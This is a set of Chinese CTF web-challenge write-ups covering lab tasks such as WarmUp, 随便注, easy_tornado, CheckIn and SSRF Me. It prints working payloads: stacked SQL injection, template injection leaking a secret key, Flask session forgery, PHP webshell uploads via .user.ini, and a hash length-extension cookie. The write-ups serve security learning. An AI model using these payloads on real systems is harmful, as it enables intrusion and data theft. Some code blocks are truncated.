[HCTF 2018]WarmUp
打开页面,发现是一个滑鸡,对于这种在**页面没有任何代码没有任何提示没有任何条条框框的,右键查看源代码,或者抓包,或者dirscan一下,兴许会有思路**
于是右键看源代码,注释中发现source.php
进一步又发现了hint.php 这个hint是很重要的啊,玩过CTF的都知道,在题目解出来的人很少的时候,出题人都会放hint,所以比赛快结束了就是上分的时候….虽然我没上过分
进入hint.php 页面回显
flag not here, and flag in ffffllllaaaagggg
继续看source.php里面的东西,发现了highlight__file
以及file等字符,于是应该有什么关系,看了一下编码格式,是实体编码.
尝试将代码还原为PHP代码来进行代码审计
这里其实题目就有提示了,题目的title为document,而用vscode写html默认的title就是document
于是把source.php中的代码复制粘贴在body中间,保存为html文件,就可以看见还原的php代码,启用了白名单检测
核心代码
1 | public static *function* checkFile(&$page)*//静态类的方法参数为一个可变变量* |
1 | $_page = mb_substr( |
1 | if (! empty($_REQUEST['file']) |
这里判断请求的file参数非空,参数是字符串,调用类中的静态checkfile方法
如果都满足,就把请求的的ffffllllaaaagggg这个包含出来
类方法checkFile的参数还是一个可变变量$$page
因此我们可以传递一个白名单里面的hint.php或者source.php来绕过第核心代码2的检测
这里采用目录遍历的方法,经过测试,发现最小遍历5个目录就行,即5 个../(目录跳转符)
[强网杯 2019]随便注
先输入,1,2,3,发现输入3时就不行了,然后
1’order by 3#
error 1054 : Unknown column ‘3’ in ‘order clause’
说明有三列,再测下注入点,union select 1,2# 回显
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
说明以上sql关键字和点.都过滤了,尝试大写,不行
直接用sqlmap跑一下,得到数据库为super
然后用sqlmap想把table跑出来,发现跑不出来,,,还说sqlmap没灵魂…毕竟我的脚本还不够强大,想用报错注入,update也被过滤了,用extractvalue后面也绕不过select
考点是:堆叠注入【mysqli_multi_query()】
https://www.cnblogs.com/lcamry/p/stacked_injection.html
https://www.cnblogs.com/0nth3way/articles/7128189.html
简单来说,就是不同于联合注入,的一种注入方法.用union注入是将两个语句合在一起返回一个结果,而堆叠注入是用分号;来执行多条查询语句,返回多个结果.(在SQL语句中分号代表一个语句的结束)
查数据库:1’;show databases;#
得到数据库有:ctftraining test supersqli 另外几个是数据库自带的就不用考虑,,,第一个是赵师傅出的教学视频里面用的,test不用考虑了,那数据库就是supersqli了…这里为什么和sqlmap跑出来的不一样?可能是数据库差异导致的,sqlmap跑出来是Mysql数据库,而题目是MD
查表:1’;show tables;#
得到两个表: 1919810931114514 words
查字段:
注意,字符串为表名是需要添加反引号
1 | 1';show columns from `1919810931114514`;# |
同样的查words表里面的内容
现在的问题就是怎么读到flag,select是被过滤的了
搜了一波WP,发现有大概就有两种方式;一种是预编译的方法,一种是改表和列名字的方法;
预编译语法:
1 | set用于设置变量名和值 |
1 | 1'; |
返回结果:
1 | strstr($inject, "set") && strstr($inject, "prepare") |
说明set 和 prepare 是被检测了
在PHP手册查一下,发现区分大小写,把set和prepare改为大写即可
1 | 1'; |
方法二:(既然看了大佬的wp就要多学点方法!)
关于alter用法:https://www.runoob.com/mysql/mysql-alter.html
MySQL ALTER命令
当我们需要修改数据表名或者修改数据表字段时,就需要使用到MySQL ALTER命令。简单来说,是一个改名字用的关键字
表示得抽时间学MySQL啊..只会几个基本的,到现在感觉越来越吃力了
查询语句:
1 | select * from words where id =' ' ; |
1 | 1'; |
CHAR(M)和VARCHAR(M)的区别就是VARCHAR(M)是变长的字符串,而CHAR(M)是定长的字符串。
然后用万能密码 1’ or 1=1# 得到flag
1 | flag{20bf1ba0-cc43-4ea1-bb30-c14dcdd92272} |
easy_tornado
先搜索一下题目这个tornado,发现是一个基于python 和Diango的 web框架
https://tornado-zh.readthedocs.io/zh/latest/
先就知道这么多,说不定后面会用.
打开题目页面.发现有三个文件
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
66217591-d873-4375-823d-8dc60d825a29
/hints.txt
md5(cookie_secret+md5(filename))
这个url感觉有点东西,先不管那么多,先去搜一波有没这个框架的CVE
另一边,御剑也没有扫出什么东西
Python开源框架Tornado某缺陷可能造成文件读取漏洞
看完一头雾水,回到题目当中
中间那个render没有懂,再去搜一下python render
1 | render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 |
https://docs.djangoproject.com/zh-hans/2.1/topics/http/shortcuts/#django.shortcuts.render
render()
Django快捷函数
render
(request, template_name, context=None, content_type=None, status=None, using=None)[源代码]¶将给定的模板与给定的上下文字典组合在一起,并以渲染的文本返回一个
HttpResponse
对象。 Django没有提供返回:class:django.template.response.TemplateResponse 的快捷函数,因为:class:django.template.response.TemplateResponse 的构造函数提供了与:func:[](https://docs.djangoproject.com/zh-hans/2.1/topics/http/shortcuts/#id1)render()
相同的方便程度。
Handler指向的处理当前这个页面的RequestHandler对象
通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名
1 | RequestHandler.settings |
handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。
构造payload获取cookie_secret
1 | /error?msg={{handler.settings}} |
cookie_secret存放在handler.settings
看了一下WP,是模板注入,之前三叶草二面我也从同学那里偷了题,也没怎么仔细学,现在可以好好学一学了
1 | from flask import Flaskfrom flask |
函数render_template渲染的是templates中的模板,模板就是html,里面的参数需要根据用户需求传入动态变量
模板渲染体系
├── app.py
├── static
│ └── style.css
└── templates
└── index.html
模板渲染:通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
又分为前端渲染和后端渲染,
后端渲染:后端渲染HTML的情况下,浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,这里的计算就是服务器经过解析存放在服务器端的模板文件来完成的,在这种情况下,浏览器只进行了HTML的解析,以及通过操作系统提供的操纵显示器显示内容的系统调用在显示器上把HTML所代表的图像显示给用户。
前端渲染:浏览器从后端得到一些信息.将这些信息组织排列形成最终可读的HTML字符串是由浏览器来完成的,在形成了HTML字符串之后,再进行显示。
route() 装饰器告诉 Flask 什么样的URL 能触发我们的函数。 route() 装饰器把一个函数绑定到对应的 URL 上,这句话相当于路由,一个路由跟随一个函数
回到URL中,filename就是/fllllllllllllag,hash就是md5(cookie_secret+md5(filename),现在只需要得到这个文件的hash满足条件就出flag
测试
error?msg={{7*9}}
,回显orz.
error?msg={{handler.settings}},返回'cookie_secret': '66217591-d873-4375-823d-8dc60d825a29'}
现在就是md5(cookie_secret+md5(filename))
不像网上WP那些大佬那么强,写脚本跑hash,MD5加密 这里在线跑
payload:/filefilename=/fllllllllllllag&filehash=9b6da2501c1381f51efc5c3b17b575f9
[SUCTF 2019]EasySQL
没有回显,应该是盲注了吧…输入union回显nonono,用bp fuzz一下
发现返回了507的都是被过滤检测了的,空格,大小写(这里应该是用的正则匹配的)以及一些查询用的关键字…发现注释符号没过滤,对提交框进行数字爆破,都只有Array ( [0] => 1 )返回.用内联注释的方法也无法绕过用<>可以绕过,但没有返回结果,应该是盲注盲注参考,但是测了都不行,试了一下堆叠注入
1;show databases;show tables;#居然成功了
库:ctf,表:Flag
from是过滤了的,1;show columns from Flag是不行了
连flag都过滤了..
看了wp,比赛这道题设置了源码泄露…..核心代码就是:输入的内容在黑名单里面的都返回nonono,然后如果不在就执行下面的查询语句,并且长度不能超过40
1 | $sql = "select ".$post['query']."||flag from Flag"; |
query就是输入的内容,根据上面的分析,flag和from都过滤了,但是查询语句中已经给我写好了,现在就需要把它利用进我的语句中,然后||是逻辑or,有没有办法让他成为连接符号..
PIPES_AS_CONCAT将|| 视为字符串的连接操作符而非 或 运算符,这和Oracle数据库是一样的,也和字符串的拼接函数 CONCAT() 相类似。
payload:
2;set sql_mode=PIPES_AS_CONCAT;select 2
最终在db中的语句是:
1 | select 2;set sql-mode=PIPES_AS_CONCAT;select 2 ||flag from Flag; |
小总结一下:直接查询的或者页面返回情况无法判断的多思考堆叠注入
[HCTF 2018]admin
一个欢迎界面,右键看源代码,发现
可能在考察XSS这种用一个普通用户然后xss到一个admin,登录进去应该就有flag或者cookie伪造
随便注册一个账号,然后登陆进去,有index,post,change password,logout这几个功能点,在index.php下面有注释,在其他目录下应该也会有.然后在change pwd下有一个链接到gayhub,下载压缩包后,在templates目录下打开index.html,里面有:
1 | {% include('header.html') %} {% if current_user.is_authenticated %} |
就是要伪造为admin 的 session 登陆进去 就得到falg
flask session:在Web中,session是认证用户身份的凭证,它具备如下几个特点:
- 用户不可以任意篡改
- A用户的session无法被B用户获取
也就是说,session的设计目的是为了做用户身份认证。
在源码的config.py中找到了
SECRET_KEY = os.environ.get(‘SECRET_KEY’) or ‘ckj123’
在登陆界面得到普通用户的session:
.eJw9kM1qwzAQhF-l7DkHS04ugRwSZFwHdo2DXCFdQuo6P7KUgu3g2CHvXjWUHhYGZr-BmQfsj23dnWHZt7d6BvvLFywf8PYJSyCBIyrTkKxiI4oBJTmtiphsc8_TMnjJEPSAaue1LyOanPvV6PVIUxWh3LhcuHB4xylZmLTggY9yWTLkWxuYO9mEaW9cnn54UtlCB458NkebcSNOg5HrGGXGKNURcWS5zDjJJjBbm8tNo2XB9LRewXMGVdce9_13U1__K-BkLkaUc_TbhgR5kuVoVDIaW4wk3NmkO6v5LvysI61CXVlxXaxecRd_ONX_SdU7jerPuR58MKCvu57xGGZw6-r2tRywCJ4_BdtsyQ.Xfcdcg.ET_OVjFJTJFeBG92AJLbiNToqb0
用脚本解密:
1 | {'_fresh': True, '_id': b'4321fd577d4013ead76918e21a06901dfbe479e1df2f277410e89e831319dd6ad49553bcbe1615bfe8ef5b9c746b8226d80e071254f47c5926595bbc90da45c0', 'csrf_token': b'36bd582bd43f552ea2f4249addccdbd04ac2176a', 'image': b'psrY', 'name': 'test123', 'user_id': '10'} |
然后把 test123 改为 admin
1 | {'_fresh': True, '_id': b'4321fd577d4013ead76918e21a06901dfbe479e1df2f277410e89e831319dd6ad49553bcbe1615bfe8ef5b9c746b8226d80e071254f47c5926595bbc90da45c0', 'csrf_token': b'36bd582bd43f552ea2f4249addccdbd04ac2176a', 'image': b'psrY', 'name': 'admin', 'user_id': '10'} |
再进行一次加密:
.eJw9kEGLwjAQhf_KMmcPbdSL4EFJ6VaYKZV0Q3KRbq3aNOlCq9RW_O-blcXDwIM334P3HnA4dVV_gdW1u1UzONRHWD3g4xtWQBxHlLohUc41zwYUZJXM5mSaexrn3osGrweUe6dcHtBk7Z9Gp0aaygDF1qbc-sM7TtFSxxnzfJCKPES2M565k4lC5bRN4y9HMlkqz5FLFmgSpvl50GIzR5GEFKuAGIapSBiJxjM7k4pto0QWqmmzhucMyr47Ha4_TdW-K-Cka83zBbpdQ5wciXzUMhq1yUbi9qLjvVFs7382gZK-riiZytavuNoV5-qdVH7SKP-dtnDegOLo6hZmcOur7rUbhAE8fwEwtGx8.Xfclzw.eZ4WaKf6pyUvvIPFA9G_6SLMxao
把session改为生成的这个刷新一下就成功了
[强网杯 2019]高明的黑客
打开题目,提示www.tar.gz 于是先去把网站源码备份下来.
拿到源码.,在sublime text里面全局搜索 GET eval system 这种危险函数,看有没有webshell(从代码审计那本书中习得)…其实一开始我思路是对了的,因为文件太大了,手工找不太可能,自己写python的功底太菜,于是看了看wp,感觉这就是在考察python写脚本的能力……思路就是那样,拿到源码都是冲着 那几个危险函数去以及 upload,login这些功能点进行搜索,审代码看有没有漏洞
[SUCTF 2019]CheckIn
进去,是Upload Labs..亲切感 -.- 先传个php,非法后缀
先改成图片后缀,传上去exif_imagetype:not image!,这里传个图片头GIF89a就可以绕过检测
<? in contents! 发现检测了php的符号,这个和极客大挑战考的点一样,用JS语言特性来绕过
1 | <script language="php"> @eval($_POST['111']);</script> |
1 | Your dir uploads/33c6f8457bd77fce0b109b4554e1a95c <br>Your files : <br>array(4) { |
然后发现文件路径是不变的,返回的是数组,第三个返回的是上传的文件名,如果我们再上传一个图片上去,发现第四个返回的是上传的第二个文件名,然后还有index.php也是唯一的php文件
fuzz一下能够上传的后缀, jpg,png,gif,然后后面还有一个.htaccess
传一个上去,但是为了绕过exif_imagetype,就必须加GIF89a,会不会要影响呢?我本地试了会.想通过这个点是走不通了…
看到response里是以数组返回的,想用数组来构造一个php文件,返回的结果是一样的
看了wp,发现前面思路都几乎一模一样
就是后面利用了 .user.ini
从SUCTF 2019 CheckIn 浅谈.user.ini的利用
user.ini:user.ini
是一个能被动态加载的ini文件。也就是说修改了.user.ini
后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl
所设置的时间(默认为300秒),即可被重新加载
auto_append_file/auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
我PHP只能算初学者水平,对这些配置文件也只是有个了解,并没深入..遗憾不能自己一口气做出来
最后的过程:传一个.user.ini 写入
GIF89a auto_prepend_file=eeee.png
再,传一个图片马eeee.png 写入
GIF89a
1 <script language="php"> system("cat /flag");</script>传一句话也是一样的把,反正最后也是在蚁剑里面cat /flag
小总结:遇到黑名单,或者过滤的很死,却没有过滤掉.htaccess的.多考虑下.user.ini 因为后者应用的范围更大 但是前提是要有个一个可以访问执行的php文件
[RoarCTF 2019]Easy Calc
打开题目,右键看源代码
1 | <script> |
发现了calc.php,访问目录得到php代码
1 |
|
测试一下后,发现除了输入数字和黑名单里面的几个有回显外,其他都是403拒绝访问-.- 应该是被限制了于是想到了提权,看服务器是Apache的,就在网上找有没有Apache提权漏洞,发现确实有.但是这道题用不上CVE-2019-0211 Apache提权漏洞分析
这道题学习了一波,PHP变量名称解析,这里waf对num做了限制,但是如果在num前加一个空格,即 num的话就无法做出限制.然而php解析的时候是会忽略掉空格的.
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)
扫根目录:/calc.php? num=var_dump(scandir(/)),然后/是黑名单里面的.所以要用ASCII码来转一下绕过waf ,找到根目录下有个f1agg
然后利用file_get_contents函数读取f1agg里的flag
var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
[CISCN2019 华北赛区 Day2 Web1]Hack World
All You Want Is In Table ‘flag’ and the column is ‘flag’
Now, just give the id of passage;
尝试用堆叠注入,1;show flag from flag;# ->SQL Injection Checked.
1,2有返回结果;1=2,1’bool(false),1=1有返回;1#,1空格这些被检测到了,括号()没有过滤.可以用()来绕过空格..根据bool(false),且没有数据回显,
bool盲注 二分法
”布尔型”盲注,因为布尔型盲注没有任何参考,只能靠观察目标页面的返回来判断语句是否执行成功,所以只能通过一位位的字符截取然后逐个对比判断来获取准确数据
1 | import requests |
参考文章:
[De1CTF 2019]SSRF Me
哈希扩展攻击;
查看hint,flag is in ./flag.txt,打开题目,是python 的 flask框架写的网页源代码
在路由中看到@app.route(“/geneSign” 和@app.route(‘/De1ta 以及 /
在geneSign中得到一串字符串,32位hash值
7f24ee7111b5207c0396045ae667b444 ,secre_key未知,param的值通过GET/POST传参得到,action为scan.
1 | app.route("/geneSign", methods=['GET', 'POST']) |
然后返回的md5是 secert_key+param+action的md5,于是访问
geneSign?param=flag.txt中得到了secert_key+”flag.txt”+scan的值
7e827d22d62533bacbd6a4354f0248ca
1 | class Task: |
在Task类中有一个checkSign函数,如果getSign的返回值与self.sign相等就返回True.
路由/De1ta调用了Task类,当getSign返回值与cookie中的sign值相等时,才能进入Exec函数中的if语句.
然后如果action为scan,则创建一个文件,把请求结果写入result.txt中.如何是read,则回显在页面上
因此构造一个 read 和scan都有的cookie去访问flag.txt
又由,可以知道长度为16+8(read+scan)=24
1 | secert_key = os.urandom(16) |
在hashpump中得到:
29e9f7ec65f231d44778d3ea933b21bd
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read ,然后把\x替换为url的%
scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read
用editthiscookie设置cookie,.刷新就可以得到flag